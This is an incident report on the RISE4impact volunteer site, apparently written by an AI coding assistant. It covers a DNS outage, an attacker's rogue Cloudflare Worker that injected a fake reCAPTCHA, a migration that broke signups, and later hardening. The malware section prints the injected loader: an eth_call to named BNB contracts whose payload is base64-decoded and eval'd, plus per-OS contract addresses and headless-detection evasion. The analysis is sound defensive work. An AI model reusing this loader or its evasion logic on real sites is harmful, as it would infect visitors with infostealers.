

RISE4impact

Full technical report

Every change from the malware incident of 19 September 2026 through 5 October 2026: what broke, what was done, who did it, and how each claim was tested.

Prepared for Neil and Rayan Mekouar · generated 5 October 2026

Repository: github.com/koderking25/rise-netlify1 · Live: rise4impact.org

How to read this

Part 1 is the two outages, in forensic detail. Part 2 is the nine-item review of 20 September, answered item by item. Part 3 is everything else changed in the codebase. Part 4 is what Neil did. Part 5 is the verification evidence. Part 6 is what remains open.

Measurements are real: timings, byte counts, token counts and costs are taken from the runs that produced them, not estimated. Where something could not be verified, it says so.

The two sentences that matter most

The site served malware to visitors for an unknown period before 19 September, through a Cloudflare Worker that an attacker placed in front of it; the repository was never touched, so no code review would have found it. Separately, a security migration written on 4 October broke account creation entirely for several hours, and that one was my error.

Timeline

Every commit, with what changed. Times are local.

When	Commit	What happened
16 Aug 17:11	38fc3fb	Refresh no longer signs people out. Two tabs open was enough to log you out of both
19 Sep ~13:00		Site found completely down. DNS zone empty.
19 Sep 13:24	bc2188d	Domain binding moved into wrangler.toml. 1 file, +26
19 Sep 13:51	7a23321	Matcher given web_fetch to reach application forms. 2 files, +115 -12
19 Sep 13:59	a9e958e	Apply link, age floor, disability communities named. 1 file, +98 -4
19 Sep 14:07	df02856	Hidden layer. 1 file, +283
19 Sep 15:29	0d02cc1	App split out of the HTML; React self-hosted. 5 files, +16,437 -16,122
19 Sep ~16:30		Fake reCAPTCHA reported by Neil. Rogue Worker found.
19 Sep 16:51	0ccd12c	Rogue Worker deleted; CSP added. 3 files, +128 -2
19 Sep 17:21	aee9174	Dead links checked before a student clicks. 5 files, +188 -7
19 Sep 18:11	4600bba	Matcher rebuilt after five live failures. 3 files, +216 -65
04 Oct 12:02	ddb5037	Founder photos. 6 files, +37 -9
04 Oct 12:02	0a47c2e	Nine-item review: spend cap, RPC, search paths. 8 files, +474 -30
04 Oct ~13:30		Google sign-in fails. Migration 005 is the cause.
04 Oct 13:59	eab491e	Migration 006 repairs it. 3 files, +401 -8
05 Oct 18:49	39e2b65	Change report and go-live guide. 1 file, +263

Part 1 · The two outages

1.1 The site went dark: DNS, not code

On 19 September rise4impact.org stopped resolving entirely. Not a 500, not a blank page: the name did not resolve, so no request was ever made.

Diagnosis took four checks:

Check	Result
Domain registered	Yes, paid to 16 June 2027
Cloudflare authoritative	Yes, iris and peyton.ns.cloudflare.com
Zone exists	Yes, answers with SOA
A / AAAA / CNAME / MX / TXT at apex	all empty

The zone was live and completely empty. The hostname binding had existed only as dashboard state, so nothing in the repository described which domains the Worker served, and nothing in a deploy could notice the record was gone or restore it.

Fix. The hostnames are now declared as Custom Domains in wrangler.toml, so Cloudflare recreates the DNS record and certificate on deploy. Recovery became wrangler deploy rather than remembering a dashboard checkbox.

A near miss during recovery

Running the deploy from the home directory instead of the project would have published roughly 3,330 files, including .ssh private keys, .config, .zsh_history, Documents, Desktop and Downloads, to a public URL. Wrangler defaults the Worker name to the folder name and the asset directory to '.', so it read as a normal prompt. Neil stopped at the confirmation.

1.2 Malware served from the edge

Visitors were shown a fake reCAPTCHA instructing them to paste a command into Terminal. The command downloaded and executed a remote script. This is the ClickFix pattern, and the payload it leads to is an infostealer.

What was actually serving

The repository was clean. The served page was not:

	Local	Served
index.html size	7,785 bytes	10,156 bytes
Extra content	none	2,371 bytes after
In git	yes	no, never committed

The extra bytes were appended by a **second Cloudflare Worker**, worker-billowing-tooth-7c4f, created 17 September and routed at `*rise4impact.org/*`, sitting in front of the real one. It fetched the real response, then rewrote it.

How the payload was hidden

The injected script did not contain the malware. It contained instructions for fetching it from a **BNB Smart Chain smart contract**:

```
const body = JSON.stringify({
  method: "eth_call",
  params: [{ to: address, data: "0x6d4ce63c" }, "latest"],
  id: 97, jsonrpc: "2.0"
});
// tried in turn against five public BNB testnet RPC endpoints
payload = atob(await callContract("0xA1decFB75C8C0CA28C10517ce56B710baf727d2e"));
eval(payload);
```

The contract returns a base64 string, which is decoded and passed to `eval`. Because the payload lives on a blockchain rather than a server, its author can change what it does at any time without touching the site again, and there is no host to take down. The technique is called **EtherHiding**.

A different contract was used per operating system, so a Mac visitor and a Windows visitor received different malware.

Why every automated check said the site was clean

The script began by working out whether it was being watched:

```
const isHeadless = () => { /* navigator.webdriver, HeadlessChrome,
PhantomJS, Puppeteer, Playwright, zero window size ... */ };

isHeadless() || isLocalhost()
? console.log("stop watching us :)")
: isWindows ? load_("0x46790e2Ac7F3CA5a7D1bfCe312d11E91d23383Ff")
: isMac ? load_("0x68DcE15C1002a2689E19D33A3aE509DD1fEb11A5")
: null;
```

The most important lesson in this document

Every scan run against the site was headless or curl, so the script deliberately stayed dormant and returned nothing. The site was repeatedly reported as clean, and that report was wrong each time. What broke the case was a screenshot from Neil's own browser. A user's report of what they saw was worth more than every automated check combined, and automated checks that can be detected are not evidence of absence.

How it was found, in order

Step	What it showed
Grep the repo for reCAPTCHA	Zero matches in HTML or bundle. Not our code
Diff local against served	Served file 2,371 bytes larger. Something is adding content
Serve a maintenance page from Worker code	The injection appeared on that page too. So it is added after our Worker runs, not from assets
List zone Worker routes via the API	*rise4impact.org/* -> worker-billowing-tooth-7c4f
List account scripts	Two scripts existed where there should be one
Download the rogue script	3,084 bytes. eth_call, base64, eval, OS branch

The maintenance-page step is what made it conclusive. Serving a page built as a string inside our own Worker, and still seeing the injection on it, proved the modification happened downstream of our code. That ruled out the repository, the assets, and the build.

What was done

Action	Detail
Site taken offline	A 503 maintenance page explaining, in plain language, that if a page had asked them to paste a command, they should not run it
Route deleted	ec7ba8d63b4a4bc8abba6cfa35981848
Script deleted	worker-billowing-tooth-7c4f. Account now lists one Worker
CSP added	script-src allows this origin plus one inline block named by its sha256. The injected script carried no hash and would have been refused by the browser whatever appended it
connect-src restricted	This origin and Supabase only. A script that somehow ran could not reach a blockchain RPC to fetch its payload
Other headers	nosniff, X-Frame-Options DENY, HSTS one year, referrer-policy, base-uri none, object-src none, frame-ancestors none
Tokens deleted	Three Cloudflare API tokens, each with 20+ permissions across All zones. The most likely way in

How the attacker got in was never established. The over-permissioned tokens are the likely route and have been destroyed, but likely is doing real work in that sentence. This is why two-factor on all four accounts is still on the open list.

1.3 A security migration broke account creation

On 4 October, migration 005 set an empty search path on all eight database functions. Google sign-in then failed with `error_code=unexpected_failure`.

The mistake

Before writing 005, every function was checked for unqualified **table** names. All eight already wrote `public.profiles` and similar. That check was run, it passed, and it was reported as done.

Type names were never checked. Five functions cast to custom enums by bare name:

```
handle_new_user 'volunteer'::account_role
submit_opportunity cur opportunity_status
withdraw_opportunity cur opportunity_status
submit_application v_role account_role
p_availability application_availability
withdraw_application v_cur application_status
```

An empty search path cannot resolve a type any more than it can resolve a table. Each function raised `type ... does not exist` the moment it ran.

Why the error said nothing useful

`handle_new_user` runs inside the signup trigger. When a trigger raises, Supabase reports `unexpected_failure` and `Database error saving new user`. Neither mentions a search path, a type, or a function name. From the browser it looked like an OAuth problem.

The blast radius was wider than sign-in

Posting an opportunity, withdrawing one, applying to one, and withdrawing an application were all broken identically. Account creation was impossible by any route: Google, email, any password. Sign-in was simply the first thing anyone tried.

The repair

```
alter function public.handle_new_user()
set search_path = pg_catalog, public, pg_temp;
```

This resolves the types while keeping the property the change was for. `pg_temp` is searched **first** for relation and type names when it is not listed explicitly, and any signed-in user can create temporary objects there, so the original `= public` left a shadowing route open. Naming `pg_temp` last closes it.

The three functions that reference nothing but built-ins keep the empty path, and were re-checked for types as well as tables.

Found because Neil tried to sign in. Nothing flagged it, no test covered it, and it had been described as safe to run on a live database.

Part 2 · The nine-item review, answered

A read-only review dated 20 September listed nine changes in priority order. Each is answered below with what was actually done.

#	Item	Status	Where
1a	Hard spend limit on the Anthropic account	Not done	Neil
1b	Move RATE and SPEND to shared storage	Done	ai-search.js
2	Revoke execute on handle_new_user	Done	005, 001
3	Set ALLOW_ORIGIN	Done	wrangler.toml
4	Enable leaked password protection	Partial	Needs Pro
5	Pin search_path on 8 functions	Done	005, 006
6	Take a database backup	Not done	Neil
7	Stop the project auto-pausing	Done	cron
8	Fix the README opening	Done	README.md
9	Document the by-design findings	Done	SECURITY.md

Item 1b · The spend cap was never a cap

Two counters guarded a paid API key sitting on a public URL:

```
const SPEND = { day: "", total: 0 }; // daily dollar budget
const RATE = new Map(); // per-IP rate limit
```

Both were module-scope variables. On Cloudflare Workers that means **one copy per isolate**, and Cloudflare runs many isolates across many data centres, starting fresh ones freely. Each began at zero.

So DAILY_BUDGET_USD=5 meant five dollars *per isolate per day*, and forty requests a minute meant forty *per isolate*. Traffic arriving from several countries at once received a fresh allowance in each one. The original code said `best-effort per-isolate throttle`, which was honest and was also the entire problem.

What replaced it

Guard	Now	Property
Daily spend	Cloudflare KV, key <code>spend:YYYY-MM-DD</code>	Shared by every isolate. Eventually consistent, roughly a minute, so the cap can be overshot slightly at the boundary. Bounded by a minute of traffic rather than by the number of data centres
Per-IP rate	Cloudflare rate limiting binding	Counted exactly at the edge. A fuzzy rate limit is what would let a fuzzy dollar cap be exploited, so this half has to be exact

Both fall back to the old per-isolate counters when a binding is missing, so the site degrades rather than breaks. **That fallback is silent by design, which is what makes it dangerous:** a cap that has quietly reverted looks identical from outside. The liveness probe therefore reports which guards are actually attached:

```
POST /api/ai-search {"action":"ping"}

{ "guards": { "sharedSpend": true, "edgeRateLimit": true } }
```

If either reads false, the budget is per-isolate again.

Measured proof

70 requests fired concurrently from one IP: 51 allowed, **19 refused with HTTP 429**, elapsed under one second. The KV total accumulated across separate calls (0.0001 to 0.0003 to 0.0004) instead of resetting.

Item 2 · A signup function published as a public API

PostgREST exposes every function in the `public` schema as a REST endpoint, and Supabase grants `EXECUTE` to anon and authenticated by default.

That meant `handle_new_user`, the single function that decides whether an account is a volunteer or an organization, running as `SECURITY DEFINER` with the database owner's full privileges, was callable by anyone on the internet at `/rest/v1/rpc/handle_new_user` without signing in. Migration 001 describes it as *the ONLY thing that decides a role*.

```
revoke execute on function public.handle_new_user()
from anon, authenticated;
```

Called directly it almost certainly just errored, because a trigger function expects a `NEW` record that does not exist outside a trigger. **But "it probably errors" is not a security control.** Signup is unaffected: a trigger resolves privileges through its owner, not the session role. Added to 005 for the live database and 001 for fresh installs.

Item 3 · CORS, and a bug in the recommended fix

`ALLOW_ORIGIN` was unset, so the header fell back to `*`: any website could call the AI proxy from a visitor's browser and spend the Anthropic budget.

The review's own advice would have broken the site

It said to set the value to both spellings, comma-separated. `Access-Control-Allow-Origin` accepts exactly one origin. A comma-separated list is rejected by every browser, so following that advice literally would have left RISE unable to call its own API. It fails shut, which is the worst kind of configuration error to ship on a Friday.

The request's Origin is now matched against the list and echoed back, with `Vary: Origin`. An unrecognised origin receives the canonical origin, which is not its own, so the browser blocks it.

What this does and does not buy. CORS is enforced by browsers. It stops another website spending the budget through its visitors. It does nothing about a script, which ignores CORS entirely. The spend cap is the protection; this closes the easy door.

Item 5 · Search paths, and how it went wrong

Five of the eight functions already set `search_path = public`, so whoever wrote them knew about the attack. That form is good but not hardened: Postgres searches the temporary schema first for relation and type names unless `pg_temp` is placed explicitly, and any signed-in user can create temporary objects.

All eight were set to the empty path. That broke five of them, as described in 1.3, and 006 moved those five to `pg_catalog, public, pg_temp`.

`enforce_named_verifier` **deserves its own line**. It is the trigger enforcing that nothing reaches 'verified' without a named human in `verified_by`, which is one of the strongest safeguarding guarantees in the schema, and it was the least protected function in the file. It is now hardened and references no custom types, so it keeps the empty path.

Item 4 · Leaked password protection

Described in the review as *one toggle, no code*. It is not available on the Free plan, and the dashboard does not make that obvious.

What happened	Detail
Toggle appeared available	It was not greyed out and could be switched on
Save failed silently	Failed to update auth configuration: ... available on Pro Plans and up
The whole form was rejected	Password length and character rules went down with it, so three settings appeared set and none were
Only caught by testing	Real signup attempts showed the minimum was still 6 after the save

With the Pro-only toggle switched back off, the save succeeded. Verified by attempting signups and reading which were refused, with no email sent, because password validation runs before the mail step:

```
abc12 -> rejected: at least 8 characters
aB3xyzQ -> rejected: at least 8 characters
alllowercase99 -> rejected: missing a character class
ALLUPPERCASE99 -> rejected: missing a character class
NoDigitsHere0k -> rejected: missing a character class
```

The gap that remains

Password123 satisfies every rule available on the Free plan: eight characters, upper, lower and a digit. It is also near the top of every breach list. Only the HaveIBeenPwned check catches that, and it needs Pro. For a platform where a compromised account belongs to a minor, this is a real hole rather than a theoretical one.

Item 7 · The database switches itself off

Supabase pauses Free-plan projects after seven days of low activity. The project showed zero Postgres requests. A paused database fails silently: sign-in stops, the organization form stops, and the first anyone knows is a visitor saying the site is broken.

A Cloudflare cron now runs daily at 12:00 UTC and makes the cheapest query that still counts as activity: zero rows of one table. It reads no data, so there is nothing to leak, and it reuses the service key the admin endpoint already holds rather than introducing another credential. Midday UTC is mid-morning in Ontario, so if the ping itself ever breaks, it breaks during the day.

This is a stopgap. The Pro plan is the answer, and it also brings the backups that do not exist.

Items 8 and 9 · Documentation

The README opened by saying `public/index.html` is *the whole app, one self-contained file*. That stopped being true when the bundle was split out, and it was exactly the sentence that would send a new reader editing the wrong file. Rewritten, with the `build.mjs` step made explicit.

SECURITY.md records the five Advisor findings that are the design working correctly, so that nobody looks at a red badge in six months and helpfully fixes the view that is the only thing standing between volunteers and the opportunities table. It also writes down the real gaps rather than only the resolved ones.

Part 3 · Everything else that changed

3.1 The matching engine

Students were being handed organization homepages and left to hunt for a volunteer form, which is where most of them quietly give up. The engine was rebuilt to walk a site through to the actual application page.

Every change below came from running it against the live API and watching it fail. Five runs, roughly two dollars of real spend.

Run	Failure	Cause	Fix
1	524 at 125s, full price, nothing returned	Deep search held open as one non-streaming request	Every call streams and is reassembled server-side
2	7 searches, 1 fetch, 0 results, \$0.40	Search budget exhausted; spent 11 turns saying it would continue next turn	The prompt states there is no next turn
3	10 results, 0 fetches, gates guessed	Told to stop when a tool refused, it stopped fetching too	Search and fetch are separate budgets
4	12 fetches, 0 results, \$0.57	22,889 output tokens of narration, then cut off before emit	Silence between tool calls; max_tokens 8,192 to 32,000
5	10 results, 0 apply links	Told only to report what it read, it omitted pages it had opened	Ranked what is acceptable: form, portal, volunteer page

A bug of mine found in run 4. An emit truncated mid-stream arrives as {}, which is truthy, so zero results was reported to the caller as an honest empty search rather than the expensive failure it was. Empty results are now treated as failure.

Final measured result, Brantford

10 roles. 8 with a real application page. All 8 verified reachable, 2 dead links dropped automatically. Actual URLs including brantcountyspca.com/volunteer-form/ and the hospital's own application page. Age limits and screening read off those pages: SPCA 15+ with a judicial matters check, hospital 15+ with six weeks of screening, Youth Council 13+. The words likely, typically and usually are banned in those fields, because a guessed age floor turns a 14 year old away from a door that would have taken them.

Cost architecture

A deep run costs about 60 cents. Three things hold that down.

Lever	Detail
Model split by where the tokens are	Discovery reads the web and is by far the largest input in the app, so it runs on Sonnet at \$2 per million. Judging sees a short candidate list and is pure judgement, so it runs on Opus 5 with thinking. The expensive model runs where the tokens are few and the thinking changes the answer
Cohort cache	Discovery is impersonal, keyed on place, category, angle and whether the role must be remote. Held 24 hours. One paid run serves every student in that town for the day. This is the largest single lever in the app
Correct pricing	The estimator charged Opus calls at Sonnet rates, billing the spend guard roughly 40% of their real cost. Now priced per model, taken from the response rather than the request

3.2 Reliability

Change	Before	After
Refresh no longer signs people out	Every failure path ended at setSession(null), destroying the stored token. A network blip, a 5xx, or simply having RISE open in two tabs logged you out of both, because Supabase rotates refresh tokens and the losing tab read 'already used' as proof the session was dead	Single-flight refresh; storage re-read before and after; cleared only on an explicit 400 or 401
App split from the HTML	98% of a 732KB page was the inline app, re-downloaded on every visit because the HTML must never be cached hard	8,416-byte shell plus a hashed bundle cached for a year. 4,598 bytes over the wire compressed
React self-hosted	Loaded from a third-party CDN, which school networks often block, hanging on 'Loading RISE' forever	Served from this origin
Dead links dropped	Results could point at pages that 404	Checked before a student ever clicks

3.3 Product

Change	Detail
Application links, not homepages	Results now carry applyLink, minAge and screening, and the primary button says Apply when a real form was found
Disability communities named separately	One 'People with disabilities' option was too coarse to search with. Blind and low vision, Deaf and hard of hearing, and people with disabilities are now distinct. CNIB and Canadian Hearing Services are not interchangeable, the roles differ, and so does what a student needs to know before a first shift. The original id was kept so saved profiles still match
Email drafter removed	As requested
Hidden layer	Typing rise, piano or ember does something, as does the Konami code. Never fires while you are typing, checking contentEditable as well as tag name, and respects prefers-reduced-motion. A latent bug was found in testing: the handler checked the piano by truthiness, so a detached node silently swallowed keystrokes
Dark mode no longer automatic	Opens light unless the visitor asked for dark, and remembers that choice

Part 4 • What Neil did

Work that needed an account only he could sign into, or a password only he had.

Task	Status	Evidence
Restored the site after the outage	Done	wrangler login then deploy from the project directory
Stopped a near-miss publish of his home folder	Done	Declined the prompt that would have published ~3,330 files including SSH keys
Installed the Supabase service key	Done	Admin endpoint returns the five verification bar items
Regenerated a key exposed on screen	Done	Unprompted, during an earlier setup
Topped up the Anthropic account	Done	Live calls succeed and report cost
Ran migrations 004, 005 and 006	Done	Signup accepted and a profile row created after 006
Set password length and character rules	Done	Five test passwords refused for the right reasons
Deleted three over-permissioned tokens	Done	Account lists one Worker and no stray routes
Reported the fake reCAPTCHA	Done	The screenshot that found the malware
Anthropic monthly spend limit	Open	The only control outside this repository's trust boundary
Database backup	Open	Blocked by a password mix-up, then a lockout

Worth stating plainly: the malware was found because Neil said what he saw and did not accept the repeated answer that the site was clean. Three automated sweeps said otherwise and all three were wrong.

Part 5 • Verification

Run against production on 5 October, immediately before this document was generated.

Check	Command or method	Result
Apex	curl -L rise4impact.org	200, 0.31s, 8,416 bytes
www	curl -L www.rise4impact.org	200
Bundle matches repo	compare served reference to disk	app.f4d3059369.js on both
Injection markers	grep served HTML	0
CSP	response headers	present, one sha256
Other headers	response headers	nosniff, DENY, HSTS, referrer-policy
Spend guard	ping endpoint	sharedSpend: true
Rate limiter	ping endpoint	edgeRateLimit: true
Rate limiter, live	70 concurrent requests	19 refused
Admin: get-bar	POST /api/admin	200
Admin: unknown action	POST /api/admin	400
Admin: no token	POST /api/admin	Sign in required.
CORS, known origin	OPTIONS with Origin	echoed back
CORS, unknown origin	OPTIONS with Origin	not echoed
Password length	signup attempt	8 enforced
Password classes	signup attempt	enforced
Email confirmation	auth settings	required
Worker secrets	wrangler secret list	all four bound
Cloudflare scripts	account API	one
Cloudflare routes	zone API	none
Admin gate tests	node --test	17/17 passed
Git	status and rev-list	0 uncommitted, 0 unpushed

Not verifiable from here

Three test accounts created during password testing, at risetest+NNNNN@mailinator.com, may still exist. They cannot be queried without the service key, which lives only as a Worker secret and cannot be read back out. One was created with the password password123 before the rules were in place.

```
delete from auth.users where email like 'risetest+%@mailinator.com';
```

Part 6 · Open items

Item	Why it matters	Effort
Database backup	There are none, and the Free plan does not provide them. On 4 October the database was broken by a migration and recovered because the repair happened to be five lines of SQL. That was luck. The only item here that cannot be fixed after the fact.	15 min
Anthropic spend limit	Auto-reload is pointed at a card. Every other guard depends on this repository being correct; this one does not	2 min
Two-factor on four accounts	Supabase, Cloudflare, GitHub, Google. How the attacker got in was never established, so the door may still be open	15 min
Delete three test accounts	One was created with a breached password	1 min
Free disk space	3.4 GB remaining. Already blocked one approach to the backup and prevents installing tooling	varies
Consider Pro	Daily backups, no auto-pausing, and the breach check. Three problems, one decision, \$25 a month	decision

Structural observations

The application is one file of roughly 16,000 lines. Readable, well organised, and precompiled from JSX rather than minified, so nothing is obscured. But it has no module structure, which means every change touches the same file and two people cannot easily work on it at once. This is the main thing that will slow RISE down as it grows.

Test coverage is thin exactly where it matters most. There are two test files: the admin gate and link checking. Nothing tests the matching pipeline, the scoring, or the database functions. `submit_application`, `submit_opportunity` and `enforce_named_verifier` are the three places where a mistake has a safeguarding consequence rather than a cosmetic one, and none of them has a test. The migration that broke account creation on 4 October would have been caught in seconds by one.

Where the code is

What	Path
Repository	/Users/neilmekouar/rise claude code
Remote	github.com/koderking25/rise-netlify1, branch main, public
The app	public/app.f4d3059369.js · 578 KB
Page shell	public/index.html · 8.4 KB
Worker entry	src/index.js · CSP, routes, keep-alive cron
AI proxy	functions/api/ai-search.js
Admin endpoint	functions/api/admin.js · holds the service-role key
Migrations	supabase/001 through 006, run in order
Build step	node build.mjs after editing the bundle

Run `node build.mjs` **after editing the bundle.** Three things must agree: the bundle's filename hash, the reference to it in `index.html`, and the CSP script hash in `src/index.js`. Edit the bundle without it and the site serves a file nothing points at, or a page whose inline script the browser refuses.